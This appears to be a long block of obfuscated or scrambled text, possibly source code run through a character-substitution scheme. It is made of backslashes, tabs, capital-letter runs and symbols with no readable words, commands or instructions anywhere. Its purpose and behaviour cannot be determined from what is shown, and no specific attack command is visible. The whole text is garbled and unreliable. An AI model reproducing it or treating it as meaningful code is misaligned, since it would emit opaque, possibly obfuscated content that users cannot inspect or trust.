L\R\\[S[\\\\\R\\\\
DJMTUGvv\\\\XD#K\\A\\DENJNHTXKIUGv\\\XJM	JI\A\	OOEHTX
IP\XD#KP\\\
JNTMOLDUUGv\\\\TXJM	JI\\\\ZZ\\\\XJM	JI\BA\\\\LLIN	TMOLEUTXD#KUU\\\v\\\\XJ	\\A\\X
IGv\\\v\X\\\\A\XOIN\\R\\[S[\R\\\
DJMTUGv\\\
#II#KEIETX#	LK#P\\XUGv\\\\v\\\\vv\\\\T]\\\\XJ	U\\v\\\	Gvv


	MMNTXJ	UGv\ODLTXJ	P\\\TNMEWKOUUGv\\XEJWWGvv\\v\\\\TXEJ\B\\\LU\\v\\#TE#
NMNMTMOLMUP\\MP\TNJLIOLQMOOLUUGv\\\\\vvv\\\#TE#
NMNMTMOMLUP\\\\MP\\\\TOINIWKIUUGv\v\\\\\T(\\\\\XKU\\\vvvv\\\LHMMJKTE#
NMNMTMOLDUP\\\\XKUGXNNOHEAHMMKGXON	AXNNOHEYDGv\\\\\T9\\\\XKU\\v\\\\\\v\\vvv\	\\\\
#II#KEIETX#	LK#P\\XUv\v\\vv\\\X\\\A\\\X#	LK#\R\\E#
NMNMTMOMMUGv\\\\\\\T]\\\\\\<E#
NMNMTMNJIUTXUU\vSS\+,\>\(F\\Qvv\\\\\\X\\\A\\E#
NMNMTMOMNUTX#	LK#U\\\R\\\\LLIN	TMOMMUGv\\\vv\T]\<
JNTMOMOUTXUU\\vSS\,/.QMI\F\\
vv\	Gv\\\vv\X	LNJ\A\\<E#
NMNMTMNJJUTXUGv\T]\\\X	LNJU\\v\\	Gvv\\\\v\XKI	\\A\\^^Gvvv\\\X\\A\\\\^^GXIJHMAKENMGXIMAXIJHMYDGvv\\\\\\T
JNTMNOEUTE#
NMNMTMOMHUP\\X	LNJP\\\\\\XNNOMMUU\\\\\v\\XKI	\\A\\\\\XNNOMM'M!Gv\\vSV\\Q		\VSvvv\\\\\TLLIN	TMNOEUT
JNTMOMIUP\\\\X	LNJP\\XNNOMMUU\XO	DDHATLWLKKUGX	##AXO	DDHYMLGv\\X\\\\A\\\XNNOMM'M!GX
A,4,#52(#1=$S,4,#52(#1=$GXE#LAX
WHNGvvv\\\\T]\XKI	\  \]\\\X\\  \]\
JNTMOMJUT#JO
TMOMKUP\\\\\\XUU\\\vvvv\\\\	Gv\\\\v\\\X\\\\\A\\\X;03>=0/'#JO
TMOMDU!Gv\T]\\E#
NMNMTMNOOUTXU\\  \\]\\E#
NMNMTMOMEUTXP\LLIN	TMNMUUU\v\\\	Gv\\\\\\\\vvvv\\\T]\\LLIN	TMOMJUTE#
NMNMTMONLUP\\\XKI	UU\\vLHMMJKTLLIN	TELLUP\\\\\E#
NMNMTMONMUUGv\	Gvvvvv\XLDJLO#
\\\\\A\[[\\\\R\\XKI	\\\\R\E#
NMNMTMONNU\R\\\\X\\\\\R\\\\\E#
NMNMTMONOUGv\\\XQB	TLLIN	TMONHUUGv\\\\\XJ#HD\\\A\XQB#
T[/[\\\R\E#
NMNMTMONIU\\\R\\\\XLDJLO#
\\\\\\R\\\\E#
NMNMTMONJU\\R\
JNTMONKU\\R\\LLIN	TMONDUUGv\\\\TXJ#HD\AAA\	U\\v\\\XQB	T
JNTMONEUUGv\\	Gvvvv\vXD	ILMM\\\\A\\\\
ME#JTXJ#HDUGv\\\\T]\\\LLIN	TMNEOUTXD	ILMMUU\\\\vXQB	T
JNTMOOLUUGv\\\\\	Gvv\\\\v\\TE#
NMNMTMNHKUTXP\\XD	ILMMP\	UU\v\\XQB	T#JO
TMOOMUUGvvv\\\\\\	Gv\\\v\\\\\\XD	ILMM'!\\A\XGv\XD	ILMM\\\\\A\\LLIN	TMOONUTXD	ILMMUGXKDNJDMAHEWODGXJDAXKDNJDMQHOGvXEJOH	N\A\\\\LLIN	TMOOOUTXD	ILMMUGvvvv\\X	D#I	K\A\\XQB	TXQBT[)[\\\\R\
JNTMOOHU\\R\\\XLDJLO#
\\\R\\#JO
TMOOIU\\R\\\LLIN	TMONKUP\\\XEJOH	NUUGv\\TX	D#I	K\\AAA\\U\\\\v\\\\LHMMJKT#JO
TELLUP\#JO
TMOOJUUGv\\\\XQB	TE#
NMNMTMOOLUUGv	Gv\v\\\\\\\\XQB	TE#
NMNMTMOOMUUGv\\\\T(\\XKU\XDOADL MMIGXJHKAXDO"NNEGv\\\LHMMJKTE#
NMNMTMOOKUP\\\XKUGv\\\\T#JO
TMOODUTX;03>=0/'LLIN	TMOMDU!UU\\\v\<X;03>=0/'
JNTMOMDU!QB	TE#
NMNMTMOOEUUGv\vv\\\\\\v\\\\\\\\T9\\\XKU\\\v\\\LHMMJKT
JNTMOOKUP\\\\\XKUGv\\\\\T
JNTMOODUTX;03>=0/'LLIN	TMOMDU!UU\\\\v\\<X;03>=0/'
JNTMOHLU!QB	T#JO
TMOOEUUGvvv\\\\v\vSS\\Q\\?\	vv\\\v\	\OD	K#	JHKETUv\v\\\\X	LNJ\A\\	Gv\TX	LNJ\\\\]AA\\	U\\\\	\X	LNJGvvv\\\T]#JO
TMNOKUT#JO
TNEOUUU\vvvv\\\\\X	LNJ\\\A\^^GXEHLMJDAMON IHGX
#KAXEHLMJD"JMGv\\\	\\\X	LNJGv\\v\\X	LNJ\\\\\A\\<T
JNTODJUTLLIN	TMOHMUUUGv\\\\T]LLIN	TMOHNUTX	LNJU\\\  \\\#JO
TMOHOUTX	LNJU\\\@\\TIHWHJUU\X	LNJ\A\^^Gv\\	\\X	LNJGv\\v\\\\	\	
LN	TUv\\\\\v\\XLHEKAQMILGXN	IATXLHEKBLUCXLHEKFQXLHEKGv\\\\\T]T
JNTMNNKUUU\	GvXLN
L\A\
JNTMOHHUTEIITUP\\LLIN	TEDIUUGv\\\\X
EJ\\\\\\A\ENMIT=>/,=(4\\R\\\#JO
TMOHIUP\\TNWJUU\\\R\\E#
NMNMTMOHJUGv\\\XKNEO\\\\\A\\\ENMIT=>/,=(4\\\\R\\\\LLIN	TMOHKUP\TMJO"MKMUUGv\XHKI#\\A\
JNTMNOKUTE#
NMNMTMOHDUU\C\\\\#	TU\F\\\\^^Gv\\\TXHKI#\AAA\\\^^U\\\v\\XHKI#\A\T
JNTMOHEUTLLIN	TJMHUU\\C\\\##	TU\\F\\\\^^U\\R\\\\\\
JNTMOILUGv\\\v\\XIK\\\\\A\\\\E#
NMNMTMOIMUT#JO
TMOINUP\\\LLIN	TMOIOUP\XHKI#\\\\R\\\[S[\\R\\X
EJUGvvvv\TE#
NMNMTMNJMUTXIKP\LLIN	TMOIOUU\\\]AA\LU\\\XIK\\\\\A\#JO
TMOIOU\R\\\\E#
NMNMTMLJNUTXIKP\[S[UGv\XL
D#M\\\\A\\LLIN	TMOHEUTE#
NMNMTKKLUU\\C\#	T
JNTMOIHU\\\\\R\\\HE#H	TE#
NMNMTMOHKUUU\\\F\\^^Gv\\\\\\\\\\TXL
D#M\\\\\AAA\^^U\\XL
D#M\\\\A\E#
NMNMTMOIIU\\\\\R\\\KJKLHNET^^U\R\LLIN	TMOIJU\\\\R\\\\HE#H	TLLIN	TMOHKUUGvvvv\\\\\\TE#
NMNMTMNJMUTXL
D#MP\#JO
TMOIIUU\]AA\\\LU\XL
D#M\\\\A\\E#
NMNMTMOIIU\\R\\\\E#
NMNMTMOIKUTE#
NMNMTHELUTLLIN	TMOIDUP\\\\\^^P\\\XL
D#MUP\\[S[UGvX	H\A\\TX;03>=0/'LLIN	TMOIEU!U\\ZZ\E#
NMNMTMOHNUTX;03>=0/'LLIN	TMOIEU!U\\C\\X;03>=0/'#JO
TMOIEU!\\F\\\^^Gv\\\\\\\\\T#JO
TMOHOUTX	HU\\@\\TMILQILUU\\\v\\\X	H\A\\\\D#M	NHONT
JNTOEEUP\\\\\^^UGv\\v\\\T
JNTMOHOUTX	HU\@\\\\\TMEIQEIUU\\vvvX	H\\A\\\\\OD	K#	JHKETUGX#
A,4,#52(#1=$S,4,#52(#1=$GXEOAX#
WMDGv\\v\\\\XN		\A\\^^Gv\\\\\\\\\\\TTX;03>=0/'LLIN	TMOJLU!U\ZZ\E#
NMNMTMOHNUTX;03>=0/'
JNTMOJLU!U\\\\ZZ\\\
JNTMOHOUTX;03>=0/'LLIN	TMOJMU!U\B\\TNLWOLUU\\v\\\\\XN		\\\\\A\\\\X;03>=0/'E#
NMNMTMOJMU!Gv\\\\\\v\\\\\\\XN		\\A\\\\D#M	NHONT#JO
TKLKUP\\^^UGv\\v\T
JNTMOJNUTXN		U\\\\B\\\TMOWOKUU\\\\\v\\\\D#NEKTLLIN	TKLKUP\\\XN		P\\\#JO
TMOJOUUGv\\\\\v\\\\\\\\XHJNID	N\\\\\\A\\E#
NMNMTMOHEUT#JO
TKKLUU\\C\\\\\\TU\\\\E#
NMNMTJMDUT#	T[S[UP\\\\\,4,#).0#,=(4U\\F\[S[Gv\\TXHJNID	N\\\\\AAA\^^U\\\XHJNID	N\A\\\\\[S[Gv\\T#JO
TMMODUTXHJNID	NP\\\\QMU\\\\]AA\\[S[U\\\XHJNID	N\\RA\\\\[S[Gv\\X##D\\\\A\\\\\\Tv\\\\\\
JNTMOJHU\\\\\AB\\\\H	J	MINTUPv\LLIN	TMOJIU\\AB\LO#KTUPv\\\\\\E#
NMNMTMOJJU\AB\\XHJNID	NPv\\UGvXEH	JNO\\\A\\\TvE#
NMNMTMOJKU\\\AB\\\\XIKPvE#
NMNMTMOJDU\AB\\XLN
LPv\\LLIN	TMOJEU\\AB\\\XL
D#MPv\
JNTMOKLU\\AB\ENMIT=>/,=(4\\\R\\\E#
NMNMTMOKMUP\\\\TNWMLUUPvvv\\LLIN	TMOKNU\\\\\AB\XN		Pv\\\\\\UGvv\\XELOL\\\A\\\\\NEDNT#JO
TMOKOUP\\^^UGv\\\T]#JO
TMOHNUTXELOLU\  \\LLIN	TMOKHUTXELOLU\\AAA\\LU\\\v	Gv\\\vSS\	\\\\vv\XDIIM	L\\\\A\\#JO
TMOKIUTLIJDLHT#JO
TJIOUTXEH	JNOUP\\\\\\XELOLUUGv\XL	\\A\\\\#JO
TMOKJU\\\R\\\\
JNTMOKIUT
JNTJIOUTX##DUU\\\R\\LLIN	TMOKKUGv\XL	\\\RA\\\#JO
TMOKDU\R\\\XDIIM	L\\\R\\\\LLIN	TMOKEUGvD#NEKT
JNTMODLUP\\\\XL	P\\\\\\E#
NMNMTMODMUUGv\\\\D#NEKT#JO
TMODNUP\\LLIN	TMMHNUTTU\\\\X	H\\R\TU\XN		\\\\\R\\XELOL\R\\\\[ [\\\\R\\\
JNTMODOUTKJKLHNET^^UUUP\\\LLIN	TMODMUUGvXK#JD\\A\\\#JO
TMOHEUTE#
NMNMTKKLUU\C\\#	TE#
NMNMTMOIHU\\\\\\R\\HE#H	T#JO
TMODHUUU\F\\\^^Gvv\\\\\\\\TXK#JD\\\\AAA\\\^^U\\\XK#JD\A\LLIN	TMOIIU\\R\KJKLHNET^^U\\R\
JNTMOIJU\\R\\\\HE#H	T
JNTMODIUUGXAELDGX
EAXYOGv\\\\\\T#JO
TMNJMUTXK#JDP\\LLIN	TMOIIUU\]AA\\LU\\\\XK#JD\\A\\
JNTMOIIU\\\R\\\\
JNTMODJUTE#
NMNMTMODKUTE#
NMNMTMODDUP\\\^^P\XK#JDUP\\\\\[S[UGvD#NEKTLLIN	TIOMUP\\XK#JDP\\#JO
TMODEUUGv\\\\\TLLIN	TMOELUTX	HU\\\@\\\\\TIL@@MUU\\\\\\v	Gvvvv\\\\D#NEKTLLIN	TOEEUP\\X	HP\LLIN	TMODEUUGvvvv\T]ILONTUU\\	Gv\\XLL\\A\INELTUGvvvv\\\\T]<E#
NMNMTMOLOUTXLLUU\\	KOM#TXLLP\\TNJLWNOOUP\\\\\	UGvvv\\T]<
JNTMOEMUTXLLU\\\\\  \\\]<#JO
TMOENUTXLLUU\\\\	Gv\XIM\A\\XLL\\\\R\\\[S[\R\XKNEO\\\\\R\#JO
TMOEOUGvXHH\A\\DOE	KTv#JO
TMOEHUPvT[##/0);##[P\\[##&5,#2=19##[P\\[##+.5(9#79%##[P\[##*9./532##[UPvTXLN
LP\\X
EJP\\\ENMIT=>/,=(4\R\\\
JNTMOEIUP\\\TMJQHUUP\\\\\E#NDNTUUvvvvUGv\\\\\\T]XHHU\vvvv\\\\TTU\\#T
JNTMOEJUP\\\LU\B\\\\\LU\\\LHMMJKTLLIN	TMODIUP\E#
NMNMTMOEKUUGv	Gv\\\\\v\\\\\\\\T]<LLIN	TMOEDUTXIMU\\  \LLIN	TMMHNUT#
	TTU\\\<#JO
TMNJJUTXIMUUU\\]AA\\#JO
TMOEEUTXHHUU\v\\\\\	OOEHTXIMP\XHHP\\LLIN	TMHLLUUGv\	J	LOO
NTXIMP\
O

TUUGv\ODLTXIMP\TOEKWNOUUGvvvv\\\HDIEL#	TXIMUGvvv\\\v\\\T(\\\XKU\\\v\LHMMJKTE#
NMNMTMHLMUP\\XKUGv\\\\\\\\\\\\T9\\XKU\\\vv\\v	\\DOE	KTXP\\\\\XL
ILHMP\\\X
N#EK	HUvvXOO
D\\\\A\\\	Gv\\\\\\\TXOO
D\AAA\\\\\\	U\\\\\vXOO
D\A\\\\\E#
NMNMTMHLNUT#JO
TMLLDUU\C\\#TKHDNHEDTUU\\\\F\Gv\\\\\T]\\E#
NMNMTMNEOUTXOO
DUU\\\v\XOO
D\\A\
MEIEJJMT
JNTKOEUP\\\UGv\\\v\T]\E#
NMNMTMNEOUTXOO
DUU\\\\v\\\\XOO
D\\A\TUGvvvSS\+,\=
\(F\\		Qvv\v\X#MKLD\A\\^^Gv\TTXOO
D'X!U\\\\ZZ\\LLIN	TMOHNUTXOO
D'X!UU\\vv\X#MKLD\A\\XOO
D'X!Gv\\\\\vvvv\\\\T
JNTMHLOUTX#MKLDU\@\\\\THDWNUU\v\X#MKLD\A\D#M	NHONTXP\^^UGv\\v\T#JO
TMHLHUTX#MKLDU\\\\\\@\TLMMWLNMUU\\\	\\\\\\Gv\\XLN	LI
\\\\A\\LLIN	TODJUTX#MKLDP\\	UGv\\\\\\\T]XLN	LI
\\\  \\E#
NMNMTMHLIUTXLN	LI
U\@\\TMEJ"NHJUU\\	\\Gv\\\\\\\T#JO
TMNJMUTXLN	LI
P\\\#JO
TMMHIUU\\\\AAA\U\	\\\Gv\XLN	LI
\\\\\A\\\
JNTMHLJUTXL
ILHMP\\X
N#EK	HP\\\\\XLN	LI
UGv\\TTLLIN	TMHLKUUU\vSS\+,\>\=,5\
OF\		\Qvv\\\\\\v\\\<##TXLN	LI
P\\\(3792#,=./9UGv\\\\\\\\\T(\XKU\\v	\\Gv\\\\\T9\\XKU\v\	\\\Gvv\\\\\\\\T]LEIOTXLN	LI
UU\\vSS\		\vvv\\\	\Gv\\v\\\\\\\	\\\\\XLN	LI
Gvv\\\\v\\\\	\JHMTUvvv\\vvvv\\\\\v\\\\\\T]
JNTMHLNUTE#
NMNMTMHLDUUU\\	Gv\\T]TLLIN	TMNNKUUU\\\	Gvvvv\XND\\\A\\\LOO	MEO	M	TUGv\\T]XNDU\\\v\	
LN	TUGv\\XND\\\\\A\\\LOO	MEO	M	TUGv\\\v\\\\\\\XDE\A\\\\D#M	NHONTE#
NMNMTMOKOUP\^^UGv\\TLLIN	TMHLIUTXDEU\\\AAA\\\\LU\\\XDE\A\#JO
TMHLEUT^ LL^P\\\TJWMLUUGvXMHD\A\TTX;03>=0/'#JO
TMHMLU!U\\\ZZ\\\
JNTMOHNUTX;03>=0/'LLIN	TMHMMU!U\\\ZZ\\LLIN	TMHLIUTX;03>=0/'LLIN	TMHMMU!U\\\\\\BA\\TKIWNIUU\\C\X;03>=0/'E#
NMNMTMHMMU!\\\\F\D#M	NHONTE#
NMNMTOEEUP\\\^^UGv\\\T#JO
TMHLIUTXMHDU\\@\\TMOHQOHUU\XMHD\\A\OD	K#	JHKETUGvXHLK#EN\A\\TTX;03>=0/'LLIN	TMOJMU!U\\ZZ\\\#JO
TMOHNUTX;03>=0/'#JO
TMOJMU!U\\ZZ\LLIN	TMHLIUTX;03>=0/'E#
NMNMTMOJMU!U\\B\\TMKO"MIEUU\\\\\\C\\\X;03>=0/'E#
NMNMTMOJMU!\F\\\D#M	NHONT#JO
TKLKUP\\\\^^UGv\\\XLHH	M\A\\\\\#JO
TMOEEUTXMHD\\\R\\XHLK#EN\\\R\XDE\R\\\\[ [\\\R\\
JNTMHMNUTKJKLHNET^^UUUGv\\\TD#M	NHONTLLIN	TMODNUP\^^U\\\]AA\\\\XLHH	MU\\v\\	
LN	TUGv\\XND\A\\LOO	MEO	M	TUGv\\\v\\\\\\\T]ILONTUU\\	Gv\\\\X
JIM\\\\\A\\\NOLJJTUGvvvXM#KH
M\\A\\\<LLIN	TMOEDUTX
JIM\R\\\LLIN	TIHMUUGv\\\\\TXM#KH
M\\ZZ\\\\\XND\\ZZ\#T#JO
TKOJUUU\\\\	GX

NE#EANEOGXEEJ	MKATX

NE#EBLUCX

NE#EFQX

NE#EGv\\\IMK
J
MLTUGvMDD
E
ITUGv\\\EEEHTUGvv\\\\\X
EMOH\\A\\<LLIN	TMHMOUTX
JIM\R\LLIN	TIHMUUGv\\\XND\A\\LOO	MEO	M	TUGvvv\TX
EMOH\ZZ\XNDU\v\\#TE#
NMNMTKOJUP\\\\MP\\\TIINQNINUUGvvvv\\v\\\\\\\T(\\\\\\XKU\\\vSS\+,\9\>F\\Q		vvLHMMJKT
JNTMHMHUP\\XKUGv\\\\\T9\\\XKU\\\\vvv\\	\\\MDD
E
ITUvv\\\\\\\v\\\\T]T
JNTMNNKUUU\\\\	Gv\\\\TE#
NMNMTMHMIUTU\\AAA\\\
JNTEOUU\\\\\	Gv\\X
JLED#O\A\LLIN	TMHLNUT#JO
TEJUU\\\C\<LLIN	TEJUT
JNTIIIUU\\\\F\Gv\T]X
JLED#O\\  \X
JLED#O\\\\\\AAA\^^\\\  \\\X
JLED#O\\AAA\#JO
TIIKUU\\\\\\X
JLED#O\\\\\A\E#
NMNMTIIDUGvvv\\XKNEO\\\\\\A\ENMIT=>/,=(4\\\R\\E#
NMNMTMHMJUP\\TN@@NUUGvX
JIM\\A\\NOLJJTUGvvvv\XLL\\A\\INELTUGvSV\\
\VSvvvvvXLD	L\\A\\ENMIT=>/,=(4\R\\LLIN	TMMLMUP\TH@@MUU\\\R\\
JNTMOEOUGvXHJM	
H\\\\\\A\X
JIM\\\R\[S[\\\\R\\XLD	LGvXHOILDI\A\X
JIM\\R\\\\\\LLIN	TMHMKU\R\\XLD	LGvXLN
L\\\\A\\#JO
TMOHHUTEIITUP\\\\
JNTMOEOUUGv\\\X
EJ\\\\\\A\\\\ENMIT=>/,=(4\\\\R\\\E#
NMNMTMOHIUP\TLOWLIUU\\\\R\\#JO
TMOHJUGv\\\\\XL
L
O	\\\\A\TU\#T
JNTMHMDUP\LUGv\\\TXL
L
O	\ZZ\\\
JNTIIHUTU\\\Q\XL
L
O	\\\@\TDJOHHWIJUU\vSS\\\\+,\(\>vvvv\\JLIHM
NLOJTXHJM	
HP\\	UGv\\\\JLIHM
NLOJTXHOILDIP\\\	UGv\\\\\\\TT
JNTMHMEUT=>/,=(4P\\\\
JNTMNKHUUP\\\\
JNTMHNLUTX
JIMP\\\\\\LLIN	TMNKHUUU\\\\\\X	H#U\\v\\\\\XOENL##\\A\\X	H#\\R\\\\[S[\\R\X
JLED#OGvXJ#MHM	\\\\A\\<LLIN	TMOMOUTXOENL##U\\\C\<LLIN	TMHNMUTXOENL##U\\F\\\\^^Gv\T
JNTMOHNUTXJ#MHM	U\\\\ZZ\
JNTMNJMUTXJ#MHM	P\\\\\XLD	LU\]AA\\\\\U\v\\\\\XNJOOHE	\\A\\\\#JO
TMHNNUTE#
NMNMTMHNOU\\\\R\#JO
TEJOUTXLD	LP\\[S[U\\R\\\E#
NMNMTMHNHUP\\^ ^P\\\XJ#MHM	UGv\\\\\TLLIN	TMOHNUTXNJOOHE	U\\ZZ\\XNJOOHE	\\\\]AA\\XJ#MHM	U\\\\HH#EOMTXOENL##P\\XNJOOHE	UGv\\vSS\\vv\\\\\vvvv	GX
J
	ATLIWLIUGXJ#HAX
J
	YMNGv\\\\v\X	JJM\\\A\DOE	KTvE#
NMNMTKNJUPvv\T[##/0);##[P\[##&5,#2=19##[P\\\\[##52/(#4=/4##[P\\[##8=(=#85.##[P\\\[##?32(92(#85.#>JH##[P\\[##*9./532##[UPv\TXLN
LP\\X
EJP\\\XKNEOP\\\#JO
TMHNIU\\\R\ENMIT=>/,=(4\\R\\\\\
JNTMODUP\\\TMWKUUP\E#
NMNMTMOKIUTT#JO
TEIHUU\C\+,#?32(92(#85.\F\\\NOLJJTUUP\\\\E#NDNTUUv\\\\\\UGv\\\\\\\\T]X	JJMU\v\\\\\\\\\TTU\#T#JO
TMOEJUP\\\LU\\\B\\\\\LU\\\LHMMJKTLLIN	TMHNJUP\\\\
JNTMHNKUUGv	Gvvv\\\T]<E#
NMNMTMOEMUTXLLUU\	KOM#TXLLP\\THHLWIOUP\\\\\\	UGv\\\\XO
HMMOIH\\\A\\Gv\\\\\\\\\T]<#JO
TMHMOUTXHOILDIU\  \\
JNTMOEEUT#
	TTU\\\<#JO
TMHNMUTXHOILDIUUU\\\]AA\#JO
TMHNDUTX	JJMUU\\\v\\\\\\	OOEHTXHOILDIP\\\\X	JJMP\\\LLIN	TMHNJUUGv\\\	J	LOO
NTXHOILDIP\
O

TUUGv\\\\\\\ODLTXHOILDIP\THMIWIUUGvvvHDIEL#	TXHOILDIUGv\XO
HMMOIH\A\\\	Gv\vv\\XOE\\A\\^^Gv\\\TT
JNTMHNLUT=>/,=(4P\#JO
TMNKHUUP\\\#JO
TMHNLUTX
JIMP\\\\LLIN	TMNKHUUU\\\\XIU\v\\\\\\X	KMI\\A\\<#JO
TMHMOUTXI\\\\R\[S[\\\\R\X
JLED#OU\\\\\C\\<LLIN	TMHNMUTXI\\R\\[S[\\\\R\\\X
JLED#OU\F\\^^Gv\\\\\\T
JNTMHNEUTX	KMIU\ZZ\\\\\E#
NMNMTMHOLUT#JO
TMHOMUP\\X	KMIP\\XKL	J	
UU\vSS\	\	\QvXI		AIKWIMGX#EHE	AXI		QNHGv\\XJMK	D\\A\\\\#JO
TJJNUTXKL	J	
'N!UGv\\\\TXJMK	D\\\\]AA\\^^\\ZZ\TXJMK	DP\LLIN	TMHONUU\AAA\\\\\\\\\ZZ\\]
KLII##TXJMK	DUU\\\\vSV\	
\\VSvv\XOE\A\\XJMK	DGv\Gvv\\v\v\\\\vvvXKNI\\A\#JO
TEENU\\\\R\\\TXOE\\]AA\^^\C\\E#
NMNMTMHOOU\\\\R\\\\\\LLIN	TMHOHUTXOEP\	U\\R\
JNTMHOIU\\\\F\^^Uv\R\\#JO
TMHOJU\\\R\\\\\XLD	L\\R\\\\E#
NMNMTMOKEUvvvvR\
JNTMHOKUv\\\R\\\\\E#
NMNMTMHODUv\\R\\\\#JO
TMHOEU\\\R\\\\E#
NMNMTMHNDUTX	JJMU\\\R\\\#JO
TMHHLUGv\\\\T]<E#
NMNMTMHMOUTXHJM	
HU\\\\  \\#JO
TMHNDUT#
	TTU\\<#JO
TMHNMUTXHJM	
HUUU\\]AA\\\\\\
JNTMHNDUTXKNIUU\\vv\\\	OOEHTXHJM	
HP\\XKNIP\\\LLIN	TMHHMUUGvv\\\\	J	LOO
NTXHJM	
HP\\\
O

TUUGv\ODLTXHJM	
HP\TOOIWDIUUGv\HDIEL#	TXHJM	
HUGvvvv\\\XO
HMMOIH\A\\\\	Gvvvv\XID#E\\A\	Gv\X	
LNJ\A\\\\#
	TTU\\<
JNTMHNMUTXHOILDIUUGv\\T]<LLIN	TMOMOUTXHOILDIU\  \X	
LNJ\\\\\]AA\\\\\X	JJMU\\vSS\+,\0\,\\vX	#EH
AMMJ MKNGX		AX	#EH
"JHGv\\LHMMJKT#JO
TMHNJUP\\\E#
NMNMTMNMEUUGvJLIHM
NLOJTXHOILDIP\\	UGv\\\\\XID#E\\\A\Gv\\\\\\\\v\\\\\\X	
LNJ\A\\\\\#
	TTU\\\\\\<E#
NMNMTMHNMUTXHJM	
HUUGXD
OAOLHKGXNM	DEAXD
OYMLGv\\\\\\\\T]<#JO
TMHHNUTXHJM	
HU\\\\  \\\X	
LNJ\]AA\\\\\XKNIU\\\vvvv\LHMMJKTE#
NMNMTMHHOUP\
JNTMNMEUUGv\JLIHM
NLOJTXHJM	
HP\\\	UGv\\\XID#E\A\\GvvSS\Q\
\\+,\5\>vv\\\\	TX	
LNJUGvvv\\\\\T]XID#EU\\\\v\\\\\XELKI\\\\A\\\\TU\\#TE#
NMNMTMHHHUP\\LU\\\\\W\MGv\	#T
JNTMHHHUP\\XELKIP\\\
JNTMODEUUGv\\\\\\TXELKI\\BA\\THQMUU\\v\\\\\	#T
JNTMHMDUP\E#
NMNMTIIHUTUP\\\\#JO
TMODEUUGv\\\\\LHMMJKT#JO
TMHHOUP\
JNTMHHIUUGv\\vSS\\\\+,\;\/vv\	Gv\\vXJ\\A\\T#JO
TMHHJUT=>/,=(4P\\LLIN	TMHHKUUP\\\\
JNTMHHJUTX
JIMP\E#
NMNMTMHHKUUUGv\\\\\XIIMID\A\TUGv\\\\\\TXJ\\\\\\\XJEI#HU\\\\vvv\\\\\\\XMKKKD\\\\\A\\\\XJEI#H\\\R\\[S[\\R\\\\X
JLED#OGv\X	EEL
\\\\\A\\\<LLIN	TMHHNUTXMKKKDU\\C\\\\<E#
NMNMTDHMUTXMKKKDU\F\LGv\\\\X	\\A\\\\\<
JNTMHMOUTXMKKKDU\\\C\<LLIN	TMHHDUTXMKKKDU\F\\\\^^Gv\\\T]
JNTMHNEUTX	UU\\v\\LHMMJKTLLIN	TMHHOUP\\E#
NMNMTMHHEUUGv\\\\\\\\	Gv\\\\\\\v\\\\\TE#
NMNMTMNJMUTX	P\\\XLD	LU\\\\AAA\U\\\v\\\TX	\\ZZ\\\LLIN	TMHILUT
JNTMHHJUTX	UP\\\QMU\\]AA\\\^ ^U\\X	\\\\RA\\^ ^Gv\\\\XEMNIMJI\A\\LLIN	TMHIMU\\R\\\\XHJM	
H\\\R\\[^[\\\\\\R\\,4,#930Gvvv\\\\\THH#EOMTXMKKKDP\\\X	\R\\XEMNIMJIUU\\\\\v\\\\TX	EEL
U\	J	LOO
NTXMKKKDP\\\\\\X	EEL
UGv\	J	LOO
NTXMKKKDP\
JNTIIHUTUUGvODLTXMKKKDP\\\TEWHMMUUGvvv\\	#TE#
NMNMTMHINUP\\\\\E#
NMNMTIIHUTUP\\\LLIN	TMHIOUUGvXIIMID'!\\\A\\\\TXMKKKDP\X	UGv\\\\\TTU\#TLLIN	TMHHHUP\LU\\\B\\LU\\\\\	#T
JNTMHIHUP\\\LP\LLIN	TMHIOUUGv\\\TTU\\\\#TE#
NMNMTMHMDUP\\LU\B\\\\LU\\<#T
JNTMHMDUUGv\\\\\\v\XDDI\A\\\\TU\#TE#
NMNMTMHIHUP\LU\\\\\W\\MGv\\\\	#TLLIN	TMHIIUP\\\XDDIP\#JO
TMHIOUUGvvv\\\TXDDI\\BA\\TLNWLMUU\\v\\\	#TE#
NMNMTMHMDUP\#JO
TIIHUTUP\#JO
TMHIJUUGvv\\\\\\\LHMMJKT#JO
TMHHOUP\\\
JNTMHHIUUGvvGv\\\\\\v\vvv\\\\\\\v\\\TXO
HMMOIH\\\ZZ\\\]#IDEDIETUU\vvvvv\\LHMMJKTLLIN	TMHIKUP\E#
NMNMTMHIDUUGvvvv\\\\\\JLIHM
NLOJTXHJM	
HP\	UGvvv\\\JLIHM
NLOJTXHOILDIP\\\\	UGvvvv\\\\TXIIMID\\\\XU\\\HH#EOMTX'L!P\\\X'M!UGv\\\\XELKI\A\\\\\TU\\#T
JNTMHIEUP\\\LU\\W\MGv\\\	#TLLIN	TMHIEUP\\XELKIP\\#JO
TMHIJUUGv\\\\\TXELKI\BA\\\\\\TMEO"MEHUU\\v	#T
JNTMHJLUP\E#
NMNMTIIHUTUP\
JNTMHJMUUGv\\\\\LHMMJKTLLIN	TMHIKUP\#JO
TMHHIUUGvvv\\\\\\T(\\\\XKU\\vLHMMJKTE#
NMNMTMHJNUP\\\\\XKUGv\\\\\\\\\T9\\\XKU\vv\\\\\\vvvv	\\\\LEK#TUv\v\\v\\\\T]#JO
TMHLNUT
JNTMNIIUUU\	Gv\\TTE#
NMNMTMHJOUU\\\  \T#JO
TMHJHUUU\\\\vvvv\\\\\\\\TTU\\\<#TE#
NMNMTMHINUP\\LUU\vv<#T#JO
TMHINUUGv\\\<	#T
JNTMHIEUP\\LP\E#
NMNMTMHJMUUGvv\\\\\\	Gvvvvvv\\X#HKD\\A\TU\\\<#TLLIN	TMHINUP\LUGv\vv\\\\\\\T]X#HKDU\	GvX#JJJ	\\A\\\#JO
TMHLNUT
JNTMHJIUU\\\C\\\\\TU\\<#JO
TMHJIUT#JO
TMHJJUU\\\\\\F\\\\\\LGv\\\TX#JJJ	\\\\\@A\\LU\\X#JJJ	\A\\TMLLWNLLUGv\\\\\\TE#
NMNMTIIHUTU\\\\\Q\\\X#HKD\\\@\X#JJJ	\\\\\\W\\TLMOWLUU\\\	Gv\\<	#TLLIN	TMHINUP\\E#
NMNMTMHJKUTUP\\\
JNTMHJMUUGv\\X	
HEIL\\A\\TU\\<#TE#
NMNMTMHIEUP\\\\\LU\W\MGv<	#TLLIN	TMHIEUP\\X	
HEILP\\\E#
NMNMTMHJDUUGv\\\\\\\\TX	
HEIL\\BA\\TIQNUU\vSS\\
vv\\\\<#T
JNTMHINUUGv\<	#TLLIN	TMHJLUP\\\
JNTMHJKUTUP\\
